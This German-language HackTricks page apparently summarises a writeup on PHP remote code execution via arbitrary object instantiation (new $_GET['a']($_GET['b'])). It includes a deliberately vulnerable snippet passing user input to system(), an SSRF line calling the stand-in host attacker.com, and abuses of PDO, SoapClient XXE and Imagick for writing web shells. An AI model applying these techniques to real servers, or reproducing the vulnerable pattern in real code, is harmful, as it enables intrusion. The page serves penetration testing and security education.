PHP - RCE durch Ausnutzung der Objekterstellung: new $_GET["a"]($_GET["b"])
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dies ist im Grunde eine Zusammenfassung von https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Einführung
Die Erstellung neuer willkürlicher Objekte, wie new $_GET["a"]($_GET["a"])
, kann zu Remote Code Execution (RCE) führen, wie in einem Writeup detailliert beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor.
RCE über benutzerdefinierte Klassen oder Autoloading
Die Syntax new $a($b)
wird verwendet, um ein Objekt zu instanziieren, wobei $a
den Klassennamen und $b
das erste Argument darstellt, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen erscheinen könnten.
Betrachten Sie den folgenden Codeausschnitt:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
In diesem Fall führt das Setzen von $a
auf App
oder App2
und $b
auf einen Systembefehl (z.B. uname -a
) zur Ausführung dieses Befehls.
Autoloading-Funktionen können ausgenutzt werden, wenn solche Klassen nicht direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und werden mit spl_autoload_register
oder __autoload
definiert:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschiedliche RCE-Möglichkeiten.
RCE über eingebaute Klassen
Ohne benutzerdefinierte Klassen oder Autoloader können eingebaute PHP-Klassen für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit get_declared_classes()
aufgelistet werden.
Konstruktoren von Interesse können über die Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link https://3v4l.org/2JEGF gezeigt.
RCE über spezifische Methoden umfasst:
SSRF + Phar Deserialisierung
Die Klasse SplFileObject
ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu jeder URL:
new SplFileObject('http://attacker.com/');
SSRF kann in PHP-Versionen vor 8.0 unter Verwendung des Phar-Protokolls zu Deserialisierungsangriffen führen.
Ausnutzen von PDOs
Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Strings, was potenziell die Erstellung von Dateien oder andere Interaktionen ermöglicht:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Versionen von PHP bis 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die SoapClient
- und SimpleXMLElement
-Konstruktoren, abhängig von der Version von libxml2.
RCE über die Imagick-Erweiterung
Bei der Analyse der Abhängigkeiten eines Projekts wurde festgestellt, dass Imagick für die Befehlsausführung durch die Instanziierung neuer Objekte genutzt werden kann. Dies bietet eine Gelegenheit zur Ausnutzung von Schwachstellen.
VID-Parser
Die Fähigkeit des VID-Parsers, Inhalte an einen beliebigen angegebenen Pfad im Dateisystem zu schreiben, wurde identifiziert. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen, was Remote Code Execution (RCE) ermöglicht.
VID-Parser + Datei-Upload
Es wird angemerkt, dass PHP hochgeladene Dateien vorübergehend in /tmp/phpXXXXXX
speichert. Der VID-Parser in Imagick, der das msl-Protokoll verwendet, kann Platzhalter in Dateipfaden verarbeiten, was den Transfer der temporären Datei an einen gewählten Ort erleichtert. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben.
PHP-Absturz + Brute Force
Eine Methode, die in der originalen Beschreibung beschrieben ist, beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik erwies sich jedoch nur in einer veralteten Version von ImageMagick als effektiv.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.